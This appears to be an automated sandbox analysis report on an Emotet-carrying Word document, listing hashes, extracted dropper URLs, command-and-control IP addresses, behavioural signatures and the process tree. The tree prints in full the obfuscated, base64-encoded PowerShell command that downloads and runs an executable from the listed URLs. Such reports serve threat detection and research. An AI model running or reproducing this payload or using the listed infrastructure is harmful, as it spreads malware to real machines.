Analysis
- max time kernel
144s - max time network
155s - platform
windows10_x64 - resource
win10 - submitted
18/09/2020, 15:48
General
- Target E3_e7e5c31776e12d8f2b72b33daf16235f622732efcfd4ffd61c1dc368d0e98197_2020-09-17_23-22-00_.DOC
- Size 241KB
- Sample200918-51t1msg982
- SHA256 e7e5c31776e12d8f2b72b33daf16235f622732efcfd4ffd61c1dc368d0e98197
Malware Config
Extracted
-
ps1
-
exe.dropper
http://www.ksgresearch.org/LLC/z9B/
-
exe.dropper
http://www.mitrausahacontrucion.com/multifunctional-section/X2v4XN/
-
exe.dropper
http://daprofesional.com/data4/rsdbA1h/
-
exe.dropper
http://degisimkalip.com.tr/wp-admin/ZML/
-
exe.dropper
http://da-industrial.com/js/6GGA48AK/
-
exe.dropper
http://cse-engineer.com/cgi-bin/BOiL/
-
exe.dropper
http://casabeethovenlb.com/classes/7SUlG/
Extracted
-
emotet
-
190.192.39.136:80
-
5.189.168.53:8080
-
162.241.41.111:7080
-
190.85.46.52:7080
-
190.190.15.20:80
-
181.95.133.104:80
-
41.212.89.128:80
-
115.176.16.221:80
-
143.95.101.72:8080
-
75.127.14.170:8080
-
116.202.10.123:8080
-
74.208.173.91:8080
-
103.93.220.182:80
-
50.116.78.109:8080
-
67.121.104.51:20
-
180.26.62.115:443
-
139.59.12.63:8080
-
76.18.16.210:80
-
113.161.148.81:80
-
5.79.70.250:8080
Signatures
- Emotet
Emotet is a trojan that is primarily spread through spam emails.
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Emotet Payload 8 IoCs
Detects Emotet payload in memory.
- Blacklisted process makes network request 1 IoCs
- Executes dropped EXE 2 IoCs
- Drops file in System32 directory 1 IoCs
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 7 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 11 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\E3_e7e5c31776e12d8f2b72b33daf16235f622732efcfd4ffd61c1dc368d0e98197_2020-09-17_23-22-00_.DOC" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -encod JABDADYAZABfADIAcwA4AD0AKAAoACcATQB3ACcAKwAnAHcAJwApACsAJwBrADEAJwArACcAbgBtACcAKQA7ACYAKAAnAG4AZQAnACsAJwB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAEUAbgBWADoAVQBTAGUAcgBQAFIATwBGAGkAbABlAFwARwAxADAAcABnAGkAOABcAFoAVABUAHgAQgA0AE8AXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAHIARQBjAFQATwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBgAGMAVQBSAGAASQBUAHkAcAByAG8AVABPAGMAYABPAEwAIgAgAD0AIAAoACgAJwB0ACcAKwAnAGwAcwAxACcAKQArACcAMgAnACsAKAAnACwAJwArACcAIAB0AGwAJwApACsAKAAnAHMAJwArACcAMQAxACwAIAAnACkAKwAnAHQAbAAnACsAJwBzACcAKQA7ACQAVwAwAGwAagBpADkAZQAgAD0AIAAoACcARgAnACsAJwB1AHgAJwArACgAJwA4ACcAKwAnADYAdgAnACkAKQA7ACQASwBzAGwAZgA2AHUAZgA9ACgAKAAnAEIAdgBpACcAKwAnAGcAbgAnACkAKwAnADYAZQAnACkAOwAkAFEAbwA0AGYAbgBjADMAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAewAwACcAKwAnAH0AJwArACcARwAxADAAcABnAGkAOAB7ADAAJwArACcAfQBaAHQAdAB4AGIANABvAHsAMAB9ACcAKQAgAC0ARgAgAFsAYwBoAEEAUgBdADkAMgApACsAJABXADAAbABqAGkAOQBlACsAKAAnAC4AJwArACgAJwBlACcAKwAnAHgAZQAnACkAKQA7ACQAVAA1ADcAOQB2AHcAdwA9ACgAJwBRACcAKwAoACcAaABvAHAAJwArACcAcwAnACkAKwAnAGYAcgAnACkAOwAkAFcAYwB1ADEAbwB0AHgAPQAmACgAJwBuAGUAJwArACcAdwAtAG8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAG4ARQB0AC4AVwBlAGIAYwBMAEkAZQBOAHQAOwAkAEQAagA0AHEAagBhAHgAPQAoACgAJwBoAHQAdABwACcAKwAnADoALwAvAHcAdwAnACsAJwB3ACcAKwAnAC4AawBzAGcAJwApACsAKAAnAHIAZQBzACcAKwAnAGUAYQByACcAKwAnAGMAaAAnACsAJwAuAG8AcgBnAC8ATABMAEMAJwArACcALwAnACsAJwB6ADkAQgAvACoAJwApACsAJwBoACcAKwAoACcAdAB0ACcAKwAnAHAAJwApACsAKAAnADoAJwArACcALwAvAHcAdwAnACkAKwAoACcAdwAuAG0AaQB0AHIAJwArACcAYQB1ACcAKwAnAHMAYQBoACcAKQArACcAYQAnACsAKAAnAGMAbwAnACsAJwBuAHQAcgAnACkAKwAnAHUAYwAnACsAJwBpAG8AJwArACcAbgAnACsAJwAuAGMAJwArACcAbwAnACsAKAAnAG0AJwArACcALwBtACcAKQArACgAJwB1AGwAdAAnACsAJwBpACcAKwAnAGYAdQAnACsAJwBuAGMAdABpAG8AbgAnACsAJwBhAGwALQBzAGUAJwApACsAKAAnAGMAdAAnACsAJwBpACcAKQArACcAbwBuACcAKwAnAC8AJwArACcAWAAyACcAKwAoACcAdgA0AFgAJwArACcATgAvACcAKQArACgAJwAqAGgAJwArACcAdAAnACkAKwAnAHQAJwArACgAJwBwADoAJwArACcALwAvAGQAYQAnACsAJwBwAHIAJwArACcAbwBmAGUAcwAnACsAJwBpAG8AbgBhACcAKwAnAGwALgAnACkAKwAnAGMAJwArACcAbwAnACsAKAAnAG0ALwBkAGEAdAAnACsAJwBhADQALwByAHMAJwArACcAZABiAEEAJwApACsAJwAxAGgAJwArACgAJwAvACcAKwAnACoAaAB0AHQAcAAnACkAKwAoACcAOgAvAC8AZABlACcAKwAnAGcAJwArACcAaQBzACcAKQArACcAaQAnACsAKAAnAG0AawBhAGwAaQBwACcAKwAnAC4AJwApACsAKAAnAGMAJwArACcAbwBtAC4AdAByAC8AJwApACsAKAAnAHcAcAAtAGEAZAAnACsAJwBtAGkAbgAnACsAJwAvAFoATQBMAC8AJwArACcAKgAnACkAKwAnAGgAdAAnACsAKAAnAHQAcAA6ACcAKwAnAC8ALwBkAGEAJwApACsAKAAnAC0AaQBuACcAKwAnAGQAdQAnACkAKwAnAHMAJwArACgAJwB0AHIAJwArACcAaQAnACkAKwAnAGEAJwArACcAbAAnACsAKAAnAC4AJwArACcAYwBvAG0ALwBqAHMALwAnACsAJwA2ACcAKQArACgAJwBHAEcAQQA0ADgAJwArACcAQQBLAC8AJwArACcAKgAnACkAKwAoACcAaAAnACsAJwB0AHQAcAA6ACcAKQArACgAJwAvACcAKwAnAC8AYwBzAGUALQBlACcAKQArACgAJwBuAGcAJwArACcAaQAnACkAKwAnAG4AJwArACgAJwBlAGUAcgAnACsAJwAuAGMAbwBtACcAKwAnAC8AYwAnACsAJwBnAGkALQBiAGkAbgAvAEIATwAnACsAJwBpAEwALwAnACkAKwAnACoAaAAnACsAKAAnAHQAdAAnACsAJwBwACcAKQArACgAJwA6AC8AJwArACcALwBjAGEAcwBhACcAKQArACgAJwBiAGUAJwArACcAZQB0AGgAbwAnACkAKwAoACcAdgBlAG4AbABiACcAKwAnAC4AJwApACsAKAAnAGMAJwArACcAbwBtAC8AYwAnACsAJwBsAGEAcwAnACkAKwAoACcAcwBlAHMALwA3AFMAJwArACcAVQAnACkAKwAoACcAbAAnACsAJwBHAC8AJwApACkALgAiAHMAYABQAGwASQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQATgBtAHkAcwBwAG0AYwA9ACgAKAAnAEoAcQB1ACcAKwAnADEAJwApACsAKAAnAHIAZwAnACsAJwBfACcAKQApADsAZgBvAHIAZQBhAGMAaAAoACQAQgBsAHUANwB4ADQAXwAgAGkAbgAgACQARABqADQAcQBqAGEAeAApAHsAdAByAHkAewAkAFcAYwB1ADEAbwB0AHgALgAiAEQAbwBgAFcAbgBMAE8AQQBgAGQARgBgAGkATABlACIAKAAkAEIAbAB1ADcAeAA0AF8ALAAgACQAUQBvADQAZgBuAGMAMwApADsAJABDAGoANwBjADAAeQA5AD0AKAAnAFcAJwArACgAJwB1AHQAJwArACcAeAAnACkAKwAoACcAZwAxACcAKwAnAHkAJwApACkAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlAHQALQBJAHQAZQBtACcAKQAgACQAUQBvADQAZgBuAGMAMwApAC4AIgBMAEUAbgBnAGAAVABoACIAIAAtAGcAZQAgADMAOAAxADUAMgApACAAewAuACgAJwBJAG4AdgBvACcAKwAnAGsAZQAnACsAJwAtAEkAdABlACcAKwAnAG0AJwApACgAJABRAG8ANABmAG4AYwAzACkAOwAkAEEAeQBhAGcAdwA3AHAAPQAoACcASgAnACsAKAAnAHYAZQBjADgAJwArACcAawAnACkAKwAnAHEAJwApADsAYgByAGUAYQBrADsAJABDAG0AagBrAHAAagA2AD0AKAAoACcAVwB4ADYANABwACcAKwAnAG4AJwApACsAJwB4ACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUQB3AHEAcwAwAGUAcgA9ACgAKAAnAEwAbAAnACsAJwB2AGQAJwApACsAKAAnADQAMQAnACsAJwBfACcAKQApAA==1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\G10pgi8\Zttxb4o\Fux86v.exe"C:\Users\Admin\G10pgi8\Zttxb4o\Fux86v.exe"2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rasdiag\iccvid.exe"C:\Windows\SysWOW64\rasdiag\iccvid.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
-
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
memory/204-9-0x00007FF8D6A70000-0x00007FF8D745C000-memory.dmp
memory/204-11-0x000001B97D910000-0x000001B97D911000-memory.dmp
memory/204-10-0x000001B9655B0000-0x000001B9655B1000-memory.dmp
memory/1300-15-0x00000000004D0000-0x00000000004E2000-memory.dmp
memory/1300-16-0x00000000004B0000-0x00000000004C0000-memory.dmp
memory/3444-20-0x00000000004D0000-0x00000000004E0000-memory.dmp
memory/3444-19-0x00000000004B0000-0x00000000004C2000-memory.dmp
memory/3580-5-0x000001F36ECDD000-0x000001F36ECE0000-memory.dmp
memory/3580-3-0x000001F36ECE3000-0x000001F36ECE7000-memory.dmp
memory/3580-2-0x000001F36ECE0000-0x000001F36ECE1000-memory.dmp
memory/3580-0-0x00007FF8DE1C0000-0x00007FF8DE886000-memory.dmp
memory/3580-4-0x000001F36ECE1000-0x000001F36ECE3000-memory.dmp
memory/3580-7-0x000001F36EE6C000-0x000001F36EE8C000-memory.dmp
memory/3580-1-0x000001F36ECE1000-0x000001F36ECE3000-memory.dmp
memory/3580-6-0x000001F36CEB8000-0x000001F36CECE000-memory.dmp
memory/3580-8-0x000001F36EE6C000-0x000001F36EE8C000-memory.dmp